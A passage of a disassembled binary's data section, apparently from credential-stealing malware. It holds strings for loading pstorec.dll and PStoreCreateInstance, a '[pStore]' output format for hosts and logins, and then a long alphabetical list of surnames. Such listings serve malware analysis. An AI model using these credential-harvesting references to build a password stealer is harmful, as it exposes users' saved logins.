'%d.%d.%d.%d',0 ; DATA XREF: sub_408882+46o aPstorec_dll db 'pstorec.dll',0 ; DATA XREF: .data:004089A7o aPstorecreatein db 'PStoreCreateInstance',0 ; DATA XREF: .data:004089BCo align 4 asc_43B0FC db '%x',0 ; DATA XREF: .data:00408A2Fo align 10h aWs db '%ws',0 ; DATA XREF: .data:00408AB0o aS_23 db '%s',0 ; DATA XREF: .data:00408B35o align 4 a5e7e8100 db '5e7e8100',0 ; DATA XREF: .data:00408B6Bo align 2 asc_43B112 db ':',0 ; DATA XREF: .data:00408B8Fo asc_43B114: ; DATA XREF: .data:00408BA6o unicode 0, <::> aPstoreSSS db '[pStore] %s %s:%s',0 ; DATA XREF: .data:00408C1Co align 4 aE161255a db 'e161255a',0 ; DATA XREF: .data:00408C57o align 4 aStringindex db 'StringIndex',0 ; DATA XREF: .data:00408C6Do aString db ':String',0 ; DATA XREF: .data:00408C88o aString_0 db ':String',0 ; DATA XREF: .data:00408C9Fo aHttp_0 db 'http:/',0 ; DATA XREF: .data:00408CCAo align 4 aHttps db 'https:/',0 ; DATA XREF: .data:00408CE1o asc_43B164: ; DATA XREF: .data:00408D0Ao unicode 0, <,,,>,0 aPstoreSSS_0 db '[pStore] %s %s:%s',0 ; DATA XREF: .data:00408D97o align 10h dword_43B180 dd 6C616572h dd 2 dup(0) dword_43B18C dd 0 off_43B190 dd offset sub_408F7D ; DATA XREF: sub_409361+4Ar aConst db 'const',0 align 10h dd 1, 408FE9h, 7474656Ch, 7265h, 0 dd 2, 409047h, 706D6F63h, 2 dup(0) dd 3, 409094h, 6E756F63h, 797274h, 0 dd 4, 40913Ah, 736Fh, 2 dup(0) dd 5, 4091AFh aAbdulrazak db 'Abdulrazak',0 ; DATA XREF: .data:off_43DC28o align 4 aAckerman db 'Ackerman',0 ; DATA XREF: .data:0043DC2Co align 10h aAdams db 'Adams',0 ; DATA XREF: .data:0043DC30o align 4 aAddison db 'Addison',0 ; DATA XREF: .data:0043DC34o aAdelstein db 'Adelstein',0 ; DATA XREF: .data:0043DC38o align 4 aAdibe db 'Adibe',0 ; DATA XREF: .data:0043DC3Co align 4 aAdorno db 'Adorno',0 ; DATA XREF: .data:0043DC40o align 4 aAhlers db 'Ahlers',0 ; DATA XREF: .data:0043DC44o align 4 aAlavi db 'Alavi',0 ; DATA XREF: .data:0043DC48o align 4 aAlcorn db 'Alcorn',0 ; DATA XREF: .data:0043DC4Co align 4 aAlda db 'Alda',0 ; DATA XREF: .data:0043DC50o align 4 aAleks db 'Aleks',0 ; DATA XREF: .data:0043DC54o align 4 aAllison db 'Allison',0 ; DATA XREF: .data:0043DC58o aAlongi db 'Alongi',0 ; DATA XREF: .data:0043DC5Co align 4 aAltavilla db 'Altavilla',0 ; DATA XREF: .data:0043DC60o align 10h aAltenberger db 'Altenberger',0 ; DATA XREF: .data:0043DC64o aAltenhofen db 'Altenhofen',0 ; DATA XREF: .data:0043DC68o align 4 aAmaral db 'Amaral',0 ; DATA XREF: .data:0043DC6Co align 10h aAmatangelo db 'Amatangelo',0 ; DATA XREF: .data:0043DC70o align 4 aAmeer db 'Ameer',0 ; DATA XREF: .data:0043DC74o align 4 aAmsden db 'Amsden',0 ; DATA XREF: .data:0043DC78o align 4 aAnand db 'Anand',0 ; DATA XREF: .data:0043DC7Co align 4 aAndel db 'Andel',0 ; DATA XREF: .data:0043DC80o align 4 aAndo db 'Ando',0 ; DATA XREF: .data:0043DC84o align 4 aAndrelus db 'Andrelus',0 ; DATA XREF: .data:0043DC88o align 10h aAndron db 'Andron',0 ; DATA XREF: .data:0043DC8Co align 4 aAnfinrud db 'Anfinrud',0 ; DATA XREF: .data:0043DC90o align 4 aAnsley db 'Ansley',0 ; DATA XREF: .data:0043DC94o align 4 aAnthony db 'Anthony',0 ; DATA XREF: .data:0043DC98o aAntos db 'Antos',0 ; DATA XREF: .data:0043DC9Co align 4 aArbia db 'Arbia',0 ; DATA XREF: .data:0043DCA0o align 4 aArduini db 'Arduini',0 ; DATA XREF: .data:0043DCA4o aArellano db 'Arellano',0 ; DATA XREF: .data:0043DCA8o align 4 aAristotle db 'Aristotle',0 ; DATA XREF: .data:0043DCACo align 4 aArjas db 'Arjas',0 ; DATA XREF: .data:0043DCB0o align 4 aArky db 'Arky',0 ; DATA XREF: .data:0043DCB4o align 4 aAtkins db 'Atkins',0 ; DATA XREF: .data:0043DCB8o align 4 aAugustus db 'Augustus',0 ; DATA XREF: .data:0043DCBCo align 4 aAurelius db 'Aurelius',0 ; DATA XREF: .data:0043DCC0o align 4 aAxelrod db 'Axelrod',0 ; DATA XREF: .data:0043DCC4o aAxworthy db 'Axworthy',0 ; DATA XREF: .data:0043DCC8o align 4 aAyiemba db 'Ayiemba',0 ; DATA XREF: .data:0043DCCCo aAykroyd db 'Aykroyd',0 ; DATA XREF: .data:0043DCD0o aAyling db 'Ayling',0 ; DATA XREF: .data:0043DCD4o align 10h aAzima db 'Azima',0 ; DATA XREF: .data:0043DCD8o align 4 aBachmuth db 'Bachmuth',0 ; DATA XREF: .data:0043DCDCo align 4 aBackus db 'Backus',0 ; DATA XREF: .data:0043DCE0o align 4 aBady db 'Bady',0 ; DATA XREF: .data:0043DCE4o align 4 aBaglivo db 'Baglivo',0 ; DATA XREF: .data:0043DCE8o aBagnold db 'Bagnold',0 ; DATA XREF: .data:0043DCECo aBailar db 'Bailar',0 ; DATA XREF: .data:0043DCF0o align 4 aBakanowsky db 'Bakanowsky',0 ; DATA XREF: .data:0043DCF4o align 4 aBaleja db 'Baleja',0 ; DATA XREF: .data:0043DCF8o align 10h aBallatori db 'Ballatori',0 ; DATA XREF: .data:0043DCFCo align 4 aBallew db 'Ballew',0 ; DATA XREF: .data:0043DD00o align 4 aBaltz db 'Baltz',0 ; DATA XREF: .data:0043DD04o align 4 aBanta db 'Banta',0 ; DATA XREF: .data:0043DD08o align 4 aBarabesi db 'Barabesi',0 ; DATA XREF: .data:0043DD0Co align 10h aBarajas db 'Barajas',0 ; DATA XREF: .data:0043DD10o aBaranczak db 'Baranczak',0 ; DATA XREF: .data:0043DD14o align 4 aBaranowska db 'Baranowska',0 ; DATA XREF: .data:0043DD18o align 10h aBarberi db 'Barberi',0 ; DATA XREF: .data:0043DD1Co aBarbetti db 'Barbetti',0 ; DATA XREF: .data:0043DD20o align 4 aBarneson db 'Barneson',0 ; DATA XREF: .data:0043DD24o align 10h aBarnett db 'Barnett',0 ; DATA XREF: .data:0043DD28o aBarriola db 'Barriola',0 ; DATA XREF: .data:0043DD2Co align 4 aBarry db 'Barry',0 ; DATA XREF: .data:0043DD30o align 4 aBartholomew db 'Bartholomew',0 ; DATA XREF: .data:0043DD34o aBartolome db 'Bartolome',0 ; DATA XREF: .data:0043DD38o align 4 aBartoo db 'Bartoo',0 ; DATA XREF: .data:0043DD3Co align 4 aBasavappa db 'Basavappa',0 ; DATA XREF: .data:0043DD40o align 4 aBashevis db 'Bashevis',0 ; DATA XREF: .data:0043DD44o align 4 aBatchelder db 'Batchelder',0 ; DATA XREF: .data:0043DD48o align 10h aBaumiller db 'Baumiller',0 ; DATA XREF: .data:0043DD4Co align 4 aBayles db 'Bayles',0 ; DATA XREF: .data:0043DD50o align 4 aBayo db 'Bayo',0 ; DATA XREF: .data:0043DD54o align 4 aBeacon db 'Beacon',0 ; DATA XREF: .data:0043DD58o align 4 aBeal db 'Beal',0 ; DATA XREF: .data:0043DD5Co align 4 aBean db 'Bean',0 ; DATA XREF: .data:0043DD60o align 4 aBeckman db 'Beckman',0 ; DATA XREF: .data:0043DD64o aBeder db 'Beder',0 ; DATA XREF: .data:0043DD68o align 4 aBedford db 'Bedford',0 ; DATA XREF: .data:0043DD6Co aBehenna db 'Behenna',0 ; DATA XREF: .data:0043DD70o aBelanger db 'Belanger',0 ; DATA XREF: .data:0043DD74o align 10h aBelaoussof db 'Belaoussof',0 ; DATA XREF: .data:0043DD78o align 4 aBelfer db 'Belfer',0 ; DATA XREF: .data:0043DD7Co align 4 aBelinCollart db 'Belin-Collart',0 ; DATA XREF: .data:0043DD80o align 4 aBellavance db 'Bellavance',0 ; DATA XREF: .data:0043DD84o align 10h aBellhouse db 'Bellhouse',0 ; DATA XREF: .data:0043DD88o align 4 aBellini db 'Bellini',0 ; DATA XREF: .data:0043DD8Co aBelloc db 'Belloc',0 ; DATA XREF: .data:0043DD90o align 4 aBenedictDye db 'Benedict-Dye',0 ; DATA XREF: .data:0043DD94o align 4 aBergson db 'Bergson',0 ; DATA XREF: .data:0043DD98o aBerkeJenkins db 'Berke-Jenkins',0 ; DATA XREF: .data:0043DD9Co align 4 aBernardo db 'Bernardo',0 ; DATA XREF: .data:0043DDA0o align 10h aBernassola db 'Bernassola',0 ; DATA XREF: .data:0043DDA4o align 4 aBernston db 'Bernston',0 ; DATA XREF: .data:0043DDA8o align 4 aBerrizbeitia db 'Berrizbeitia',0 ; DATA XREF: .data:0043DDACo align 4 aBetti db 'Betti',0 ; DATA XREF: .data:0043DDB0o align 10h aBeynart db 'Beynart',0 ; DATA XREF: .data:0043DDB4o aBiagioli db 'Biagioli',0 ; DATA XREF: .data:0043DDB8o align 4 aBickel db 'Bickel',0 ; DATA XREF: .data:0043DDBCo align 4 aBinion db 'Binion',0 ; DATA XREF: .data:0043DDC0o align 4 aBir db 'Bir',0 ; DATA XREF: .data:0043DDC4o aBisema db 'Bisema',0 ; DATA XREF: .data:0043DDC8o align 10h aBisho db 'Bisho',0 ; DATA XREF: .data:0043DDCCo align 4 aBlackbourn db 'Blackbourn',0 ; DATA XREF: .data:0043DDD0o align 4 aBlackwell db 'Blackwell',0 ; DATA XREF: .data:0043DDD4o align 10h aBlagg db 'Blagg',0 ; DATA XREF: .data:0043DDD8o align 4 aBlakemore db 'Blakemore',0 ; DATA XREF: .data:0043DDDCo align 4 aBlanke db 'Blanke',0 ; DATA XREF: .data:0043DDE0o align 4 aBliss db 'Bliss',0 ; DATA XREF: .data:0043DDE4o align 4 aBlizard db 'Blizard',0 ; DATA XREF: .data:0043DDE8o aBloch db 'Bloch',0 ; DATA XREF: .data:0043DDECo align 4 aBloembergen db 'Bloembergen',0 ; DATA XREF: .data:0043DDF0o aBloemhof db 'Bloemhof',0 ; DATA XREF: .data:0043DDF4o align 4 aBloxham db 'Bloxham',0 ; DATA XREF: .data:0043DDF8o aBlyth db 'Blyth',0 ; DATA XREF: .data:0043DDFCo align 4 aBolger db 'Bolger',0 ; DATA XREF: .data:0043DE00o align 4 aBolick db 'Bolick',0 ; DATA XREF: .data:0043DE04o align 4 aBollinger db 'Bollinger',0 ; DATA XREF: .data:0043DE08o align 4 aBologna db 'Bologna',0 ; DATA XREF: .data:0043DE0Co aBoner db 'Boner',0 ; DATA XREF: .data:0043DE10o align 4 aBonham db 'Bonham',0 ; DATA XREF: .data:0043DE14o align 10h aBoniface db 'Boniface',0 ; DATA XREF: .data:0043DE18o align 4 aBontempo db 'Bontempo',0 ; DATA XREF: .data:0043DE1Co align 4 aBook db 'Book',0 ; DATA XREF: .data:0043DE20o align 10h aBookbinder db 'Bookbinder',0 ; DATA XREF: .data:0043DE24o align 4 aBoone db 'Boone',0 ; DATA XREF: .data:0043DE28o align 4 aBoorstin db 'Boorstin',0 ; DATA XREF: .data:0043DE2Co align 10h aBorack db 'Borack',0 ; DATA XREF: .data:0043DE30o align 4 aBorden db 'Borden',0 ; DATA XREF: .data:0043DE34o align 10h aBossi db 'Bossi',0 ; DATA XREF: .data:0043DE38o align 4 aBothman db 'Bothman',0 ; DATA XREF: .data:0043DE3Co aBotosh db 'Botosh',0 ; DATA XREF: .data:0043DE40o align 4 aBoudin db 'Boudin',0 ; DATA XREF: .data:0043DE44o align 10h aBoudrot db 'Boudrot',0 ; DATA XREF: .data:0043DE48o aBourneuf db 'Bourneuf',0 ; DATA XREF: .data:0043DE4Co align 4 aBowers db 'Bowers',0 ; DATA XREF: .data:0043DE50o align 4 aBoxer db 'Boxer',0 ; DATA XREF: .data:0043DE54o align 4 aBoyajian db 'Boyajian',0 ; DATA XREF: .data:0043DE58o align 10h aBoyes db 'Boyes',0 ; DATA XREF: .data:0043DE5Co align 4 aBoyland db 'Boyland',0 ; DATA XREF: .data:0043DE60o aBoym db 'Boym',0 ; DATA XREF: .data:0043DE64o align 4 aBoyne db 'Boyne',0 ; DATA XREF: .data:0043DE68o align 10h aBracalente db 'Bracalente',0 ; DATA XREF: .data:0043DE6Co align 4 aBradac db 'Bradac',0 ; DATA XREF: .data:0043DE70o align 4 aBradach db 'Bradach',0 ; DATA XREF: .data:0043DE74o aBrecht db 'Brecht',0 ; DATA XREF: .data:0043DE78o align 4 aBreed db 'Breed',0 ; DATA XREF: .data:0043DE7Co align 4 aBrenan db 'Brenan',0 ; DATA XREF: .data:0043DE80o align 4 aBrennan db 'Brennan',0 ; DATA XREF: .data:0043DE84o aBrewer db 'Brewer',0 ; DATA XREF: .data:0043DE88o align 4 aBrewer_0 db 'Brewer',0 ; DATA XREF: .data:0043DE8Co align 4 aBridgeman db 'Bridgeman',0 ; DATA XREF: .data:0043DE90o align 4 aBridges db 'Bridges',0 ; DATA XREF: .data:0043DE94o aBrinton db 'Brinton',0 ; DATA XREF: .data:0043DE98o aBritz db 'Britz',0 ; DATA XREF: .data:0043DE9Co align 10h aBroca db 'Broca',0 ; DATA XREF: .data:0043DEA0o align 4 aBrook db 'Brook',0 ; DATA XREF: .data:0043DEA4o align 10h aBrzycki db 'Brzycki',0 ; DATA XREF: .data:0043DEA8o aBuchan db 'Buchan',0 ; DATA XREF: .data:0043DEACo align 10h aBudding db 'Budding',0 ; DATA XREF: .data:0043DEB0o aBullard db 'Bullard',0 ; DATA XREF: .data:0043DEB4o aBunton db 'Bunton',0 ; DATA XREF: .data:0043DEB8o align 4 aBurden db 'Burden',0 ; DATA XREF: .data:0043DEBCo align 10h aBurdzy db 'Burdzy',0 ; DATA XREF: .data:0043DEC0o align 4 aBurke db 'Burke',0 ; DATA XREF: .data:0043DEC4o align 10h aBurridge db 'Burridge',0 ; DATA XREF: .data:0043DEC8o align 4 aBusetta db 'Busetta',0 ; DATA XREF: .data:0043DECCo aByatt db 'Byatt',0 ; DATA XREF: .data:0043DED0o align 4 aByerly db 'Byerly',0 ; DATA XREF: .data:0043DED4o align 4 aByrd db 'Byrd',0 ; DATA XREF: .data:0043DED8o align 4 aCage db 'Cage',0 ; DATA XREF: .data:0043DEDCo align 4 aCalnan db 'Calnan',0 ; DATA XREF: .data:0043DEE0o align 4 aCammelli db 'Cammelli',0 ; DATA XREF: .data:0043DEE4o align 4 aCammilleri db 'Cammilleri',0 ; DATA XREF: .data:0043DEE8o align 4 aCanley db 'Canley',0 ; DATA XREF: .data:0043DEECo align 4 aCapanni db 'Capanni',0 ; DATA XREF: .data:0043DEF0o aCaperton db 'Caperton',0 ; DATA XREF: .data:0043DEF4o align 10h aCapocaccia db 'Capocaccia',0 ; DATA XREF: .data:0043DEF8o align 4 aCapodilupo db 'Capodilupo',0 ; DATA XREF: .data:0043DEFCo align 4 aCappuccio db 'Cappuccio',0 ; DATA XREF: .data:0043DF00o align 4 aCapursi db 'Capursi',0 ; DATA XREF: .data:0043DF04o aCaratozzolo db 'Caratozzolo',0 ; DATA XREF: .data:0043DF08o aCarayannopoulo db 'Carayannopoulos',0 ; DATA XREF: .data:0043DF0Co aCarlin db 'Carlin',0 ; DATA XREF: .data:0043DF10o align 10h aCarlos db 'Carlos',0 ; DATA XREF: .data:0043DF14o align 4 aCarlyle db 'Carlyle',0 ; DATA XREF: .data:0043DF18o aCarmichael db 'Carmichael',0 ; DATA XREF: .data:0043DF1Co align 4 aCaroti db 'Caroti',0 ; DATA XREF: .data:0043DF20o align 4 aCarper db 'Carper',0 ; DATA XREF: .data:0043DF24o align 4 aCartmill db 'Cartmill',0 ; DATA XREF: .data:0043DF28o align 4 aCascio db 'Cascio',0 ; DATA XREF: .data:0043DF2Co align 10h aCase db 'Case',0 ; DATA XREF: .data:0043DF30o align 4 aCaspar db 'Caspar',0 ; DATA XREF: .data:0043DF34o align 10h aCastelda db 'Castelda',0 ; DATA XREF: .data:0043DF38o align 4 aCavanagh db 'Cavanagh',0 ; DATA XREF: .data:0043DF3Co align 4 aCavell db 'Cavell',0 ; DATA XREF: .data:0043DF40o align 10h aCeniceros db 'Ceniceros',0 ; DATA XREF: .data:0043DF44o align 4 aCerioli db 'Cerioli',0 ; DATA XREF: .data:0043DF48o aChapman db 'Chapman',0 ; DATA XREF: .data:0043DF4Co aCharles db 'Charles',0 ; DATA XREF: .data:0043DF50o aCheang db 'Cheang',0 ; DATA XREF: .data:0043DF54o align 4 aCherry db 'Cherry',0 ; DATA XREF: .data:0043DF58o align 4 aChervinsky db 'Chervinsky',0 ; DATA XREF: .data:0043DF5Co align 10h aChiassino db 'Chiassino',0 ; DATA XREF: .data:0043DF60o align 4 aChien db 'Chien',0 ; DATA XREF: .data:0043DF64o align 4 aChildress db 'Childress',0 ; DATA XREF: .data:0043DF68o align 10h aChilds db 'Childs',0 ; DATA XREF: .data:0043DF6Co align 4 aChinipardaz db 'Chinipardaz',0 ; DATA XREF: .data:0043DF70o aChinman db 'Chinman',0 ; DATA XREF: .data:0043DF74o aChristenson db 'Christenson',0 ; DATA XREF: .data:0043DF78o aChristian db 'Christian',0 ; DATA XREF: .data:0043DF7Co align 4 aChristiano db 'Christiano',0 ; DATA XREF: .data:0043DF80o align 10h aChristie db 'Christie',0 ; DATA XREF: .data:0043DF84o align 4 aChristopher db 'Christopher',0 ; DATA XREF: .data:0043DF88o aChu db 'Chu',0 ; DATA XREF: .data:0043DF8Co aChupasko db 'Chupasko',0 ; DATA XREF: .data:0043DF90o align 4 aChurch db 'Church',0 ; DATA XREF: .data:0043DF94o align 10h aCiampaglia db 'Ciampaglia',0 ; DATA XREF: .data:0043DF98o align 4 aCicero db 'Cicero',0 ; DATA XREF: .data:0043DF9Co align 4 aCifarelli db 'Cifarelli',0 ; DATA XREF: .data:0043DFA0o align 10h aClaffey db 'Claffey',0 ; DATA XREF: .data:0043DFA4o aClancy db 'Clancy',0 ; DATA XREF: .data:0043DFA8o align 10h aClark db 'Clark',0 ; DATA XREF: .data:0043DFACo align 4 aClement db 'Clement',0 ; DATA XREF: .data:0043DFB0o aClifton db 'Clifton',0 ; DATA XREF: .data:0043DFB4o aClow db 'Clow',0 ; DATA XREF: .data:0043DFB8o align 10h aCoblenz db 'Coblenz',0 ; DATA XREF: .data:0043DFBCo aCoito db 'Coito',0 ; DATA XREF: .data:0043DFC0o align 10h aColdren db 'Coldren',0 ; DATA XREF: .data:0043DFC4o aColella db 'Colella',0 ; DATA XREF: .data:0043DFC8o aCollard db 'Collard',0 ; DATA XREF: .data:0043DFCCo aCollis db 'Collis',0 ; DATA XREF: .data:0043DFD0o align 10h aCompton db 'Compton',0 ; DATA XREF: .data:0043DFD4o aCompton_0 db 'Compton',0 ; DATA XREF: .data:0043DFD8o aComstock db 'Comstock',0 ; DATA XREF: .data:0043DFDCo align 4 aConcino db 'Concino',0 ; DATA XREF: .data:0043DFE0o aCondodina db 'Condodina',0 ; DATA XREF: .data:0043DFE4o align 10h aConnors db 'Connors',0 ; DATA XREF: .data:0043DFE8o aCorey db 'Corey',0 ; DATA XREF: .data:0043DFECo align 10h aCornish db 'Cornish',0 ; DATA XREF: .data:0043DFF0o aCosmides db 'Cosmides',0 ; DATA XREF: .data:0043DFF4o align 4 aCounter db 'Counter',0 ; DATA XREF: .data:0043DFF8o aCoutaux db 'Coutaux',0 ; DATA XREF: .data:0043DFFCo aCrawford db 'Crawford',0 ; DATA XREF: .data:0043E000o align 10h aCrocker db 'Crocker',0 ; DATA XREF: .data:0043E004o aCroshaw db 'Croshaw',0 ; DATA XREF: .data:0043E008o aCroxen db 'Croxen',0 ; DATA XREF: .data:0043E00Co align 4 aCroxton db 'Croxton',0 ; DATA XREF: .data:0043E010o aCui db 'Cui',0 ; DATA XREF: .data:0043E014o aCurrier db 'Currier',0 ; DATA XREF: .data:0043E018o aCutler db 'Cutler',0 ; DATA XREF: .data:0043E01Co align 4 aCvek db 'Cvek',0 ; DATA XREF: .data:0043E020o align 4 aCyders db 'Cyders',0 ; DATA XREF: .data:0043E024o align 4 aDasilva db 'daSilva',0 ; DATA XREF: .data:0043E028o aDaldalian db 'Daldalian',0 ; DATA XREF: .data:0043E02Co align 4 aDaly db 'Daly',0 ; DATA XREF: .data:0043E030o align 10h aDAmbra db 'D',27h,'Ambra',0 ; DATA XREF: .data:0043E034o aDanieli db 'Danieli',0 ; DATA XREF: .data:0043E038o aDante db 'Dante',0 ; DATA XREF: .data:0043E03Co align 4 aDapice db 'Dapice',0 ; DATA XREF: .data:0043E040o align 10h aDArcangelo db 'D',27h,'arcangelo',0 ; DATA XREF: .data:0043E044o aDas db 'Das',0 ; DATA XREF: .data:0043E048o aDasgupta db 'Dasgupta',0 ; DATA XREF: .data:0043E04Co align 4 aDaskalu db 'Daskalu',0 ; DATA XREF: .data:0043E050o aDavid db 'David',0 ; DATA XREF: .data:0043E054o align 4 aDawkins db 'Dawkins',0 ; DATA XREF: .data:0043E058o aDegennaro db 'DeGennaro',0 ; DATA XREF: .data:0043E05Co align 10h aDelapena db 'DeLaPena',0 ; DATA XREF: .data:0043E060o align 4 aDelEnclos db 'del',27h,'Enclos',0 ; DATA XREF: .data:0043E064o align 4 aDerousse db 'deRousse',0 ; DATA XREF: .data:0043E068o align 4 aDebroff db 'Debroff',0 ; DATA XREF: .data:0043E06Co aDees db 'Dees',0 ; DATA XREF: .data:0043E070o align 4 aDefeciani db 'Defeciani',0 ; DATA XREF: .data:0043E074o align 10h aDelattre db 'Delattre',0 ; DATA XREF: .data:0043E078o align 4 aDeleonRendon db 'Deleon-Rendon',0 ; DATA XREF: .data:0043E07Co align 4 aDelger db 'Delger',0 ; DATA XREF: .data:0043E080o align 4 aDellAcqua db 'Dell',27h,'acqua',0 ; DATA XREF: .data:0043E084o align 10h aDeming db 'Deming',0 ; DATA XREF: .data:0043E088o align 4 aDempster db 'Dempster',0 ; DATA XREF: .data:0043E08Co align 4 aDemusz db 'Demusz',0 ; DATA XREF: .data:0043E090o align 4 aDenault db 'Denault',0 ; DATA XREF: .data:0043E094o aDenham db 'Denham',0 ; DATA XREF: .data:0043E098o align 4 aDenison db 'Denison',0 ; DATA XREF: .data:0043E09Co aDesombre db 'Desombre',0 ; DATA XREF: .data:0043E0A0o align 10h aDeutsch db 'Deutsch',0 ; DATA XREF: .data:0043E0A4o aDFini db 'D',27h,'fini',0 ; DATA XREF: .data:0043E0A8o align 10h aDicks db 'Dicks',0 ; DATA XREF: .data:0043E0ACo align 4 aDiefenbach db 'Diefenbach',0 ; DATA XREF: .data:0043E0B0o align 4 aDifabio db 'Difabio',0 ; DATA XREF: .data:0043E0B4o aDifronzo db 'Difronzo',0 ; DATA XREF: .data:0043E0B8o align 4 aDilworth db 'Dilworth',0 ; DATA XREF: .data:0043E0BCo align 4 aDionysius db 'Dionysius',0 ; DATA XREF: .data:0043E0C0o align 10h aDirksen db 'Dirksen',0 ; DATA XREF: .data:0043E0C4o aDockery db 'Dockery',0 ; DATA XREF: .data:0043E0C8o aDoherty db 'Doherty',0 ; DATA XREF: .data:0043E0CCo aDonahue db 'Donahue',0 ; DATA XREF: .data:0043E0D0o aDonner db 'Donner',0 ; DATA XREF: .data:0043E0D4o align 4 aDoonan db 'Doonan',0 ; DATA XREF: .data:0043E0D8o align 10h aDore db 'Dore',0 ; DATA XREF: .data:0043E0DCo align 4 aDorf db 'Dorf',0 ; DATA XREF: .data:0043E0E0o align 10h aDosi db 'Dosi',0 ; DATA XREF: .data:0043E0E4o align 4 aDoty db 'Doty',0 ; DATA XREF: .data:0043E0E8o align 10h aDoug db 'Doug',0 ; DATA XREF: .data:0043E0ECo align 4 aDowsland db 'Dowsland',0 ; DATA XREF: .data:0043E0F0o align 4 aDrinker db 'Drinker',0 ; DATA XREF: .data:0043E0F4o aDSouza db 'D',27h,'souza',0 ; DATA XREF: .data:0043E0F8o aDuffin db 'Duffin',0 ; DATA XREF: .data:0043E0FCo align 4 aDurrett db 'Durrett',0 ; DATA XREF: .data:0043E100o aDussault db 'Dussault',0 ; DATA XREF: .data:0043E104o align 10h aDwyer db 'Dwyer',0 ; DATA XREF: .data:0043E108o align 4 aEardley db 'Eardley',0 ; DATA XREF: .data:0043E10Co aEbeling db 'Ebeling',0 ; DATA XREF: .data:0043E110o aEckel db 'Eckel',0 ; DATA XREF: .data:0043E114o align 10h aEdley db 'Edley',0 ; DATA XREF: .data:0043E118o align 4 aEdner db 'Edner',0 ; DATA XREF: .data:0043E11Co align 10h aEdward db 'Edward',0 ; DATA XREF: .data:0043E120o align 4 aEickenhorst db 'Eickenhorst',0 ; DATA XREF: .data:0043E124o aEliasson db 'Eliasson',0 ; DATA XREF: .data:0043E128o align 10h aElmendorf db 'Elmendorf',0 ; DATA XREF: .data:0043E12Co align 4 aElmerick db 'Elmerick',0 align 4 aElvis db 'Elvis',0 align 10h aEncinas db 'Encinas',0 aEnyeart db 'Enyeart',0 aEppling db 'Eppling',0 aErbach db 'Erbach',0 align 10h aErdman db 'Erdman',0 align 4 aErdos db 'Erdos',0 align 10h aErez db 'Erez',0 align 4 aEspinoza db 'Espinoza',0 align 4 aEstes db 'Estes',0 align 4 aEtter db 'Etter',0 align 4 aEuripides db 'Euripides',0 align 10h aEverett db 'Everett',0 aFabbris db 'Fabbris',0 aFagan db 'Fagan',0 align 4 aFaioes db 'Faioes',0 align 10h aFalcoAcosta db 'Falco-Acosta',0 align 10h aFalorsi db 'Falorsi',0 aFaris db 'Faris',0 align 10h aFarone db 'Farone',0 align 4 aFarren db 'Farren',0 align 10h aFasso db 'Fasso',27h,0 align 4 aFates db 'Fates',0 align 10h aFeigenbaum db 'Feigenbaum',0 align 4 aFejzo db 'Fejzo',0 align 4 aFeldman db 'Feldman',0 aFernald db 'Fernald',0 aFernandes db 'Fernandes',0 align 10h aFerrante db 'Ferrante',0 align 4 aFerriell db 'Ferriell',0 align 4 aFeuer db 'Feuer',0 align 10h aFido db 'Fido',0 align 4 aField db 'Field',0 align 10h aFink db 'Fink',0 align 4 aFinkelstein db 'Finkelstein',0 aFinnegan db 'Finnegan',0 align 10h aFiorina db 'Fiorina',0 aFisk db 'Fisk',0 align 10h aFitzmaurice db 'Fitzmaurice',0 aFlier db 'Flier',0 align 4 aFlores db 'Flores',0 align 4 aFolks db 'Folks',0 align 4 aForester db 'Forester',0 align 10h aFortes db 'Fortes',0 align 4 aFortier db 'Fortier',0 aFossey db 'Fossey',0 align 4 aFossi db 'Fossi',0 align 10h aFrancisco db 'Francisco',0 align 4 aFranklinKenea db 'Franklin-Kenea',0 align 4 aFranz db 'Franz',0 align 4 aFrazierDavis db 'Frazier-Davis',0 align 4 aFreid db 'Freid',0 align 4 aFreundlich db 'Freundlich',0 align 4 aFried db 'Fried',0 align 10h aFriedland db 'Friedland',0 align 4 aFrisken db 'Frisken',0 aFrowiss db 'Frowiss',0 aFryberger db 'Fryberger',0 align 4 aFrye db 'Frye',0 align 10h aFujiiAbe db 'Fujii-Abe',0 align 4 aFuller db 'Fuller',0 align 4 aFurth db 'Furth',0 align 4 aFusaro db 'Fusaro',0 align 4 aGabrielli db 'Gabrielli',0 align 10h aGaggiotti db 'Gaggiotti',0 align 4 aGaleotti db 'Galeotti',0 align 4 aGalwey db 'Galwey',0 align 10h aGambini db 'Gambini',0 aGarfield db 'Garfield',0 align 4 aGarman db 'Garman',0 align 4 aGaronna db 'Garonna',0 aGeller db 'Geller',0 align 4 aGemberling db 'Gemberling',0 align 4 aGeorgi db 'Georgi',0 align 10h aGerrett db 'Gerrett',0 aGhorai db 'Ghorai',0 align 10h aGibbens db 'Gibbens',0 aGibson db 'Gibson',0 align 10h aGilbert db 'Gilbert',0 aGili db 'Gili',0 align 10h aGill db 'Gill',0 align 4 aGillispie db 'Gillispie',0 align 4 aGist db 'Gist',0 align 4 aGleason db 'Gleason',0 aGlegg db 'Glegg',0 align 4 aGlendon db 'Glendon',0 aGoldfarb db 'Goldfarb',0 align 10h aGoncalves db 'Goncalves',0 align 4 aGood db 'Good',0 align 4 aGoodearl db 'Goodearl',0 align 10h aGoody db 'Goody',0 align 4 aGozzi db 'Gozzi',0 align 10h aGravell db 'Gravell',0 aGreenberg db 'Greenberg',0 align 4 aGreenfeld db 'Greenfeld',0 align 10h aGriffiths db 'Griffiths',0 align 4 aGrigoletto db 'Grigoletto',0 align 4 aGrummell db 'Grummell',0 align 4 aGruner db 'Gruner',0 align 4 aGruppe db 'Gruppe',0 align 4 aGuenthart db 'Guenthart',0 align 10h aGunn db 'Gunn',0 align 4 aGuo db 'Guo',0 aHa db 'Ha',0 align 10h aHaar db 'Haar',0 align 4 aHackman db 'Hackman',0 aHackshaw db 'Hackshaw',0 align 4 aHaley db 'Haley',0 align 4 aHalkias db 'Halkias',0 aHallowell db 'Hallowell',0 align 4 aHalpert db 'Halpert',0 aHambarzumjan db 'Hambarzumjan',0 align 10h aHamer db 'Hamer',0 align 4 aHammerness db 'Hammerness',0 align 4 aHand db 'Hand',0 align 4 aHanssen db 'Hanssen',0 aHarding db 'Harding',0 aHargraves db 'Hargraves',0 align 4 aHarlow db 'Harlow',0 align 10h aHarrigan db 'Harrigan',0 align 4 aHartman db 'Hartman',0 aHartmann db 'Hartmann',0 align 10h aHartnett db 'Hartnett',0 align 4 aHarwell db 'Harwell',0 aHaviaras db 'Haviaras',0 align 10h aHawkes db 'Hawkes',0 align 4 aHayes db 'Hayes',0 align 10h aHaynes db 'Haynes',0 align 4 aHazlewood db 'Hazlewood',0 align 4 aHeermans db 'Heermans',0 align 10h aHeft db 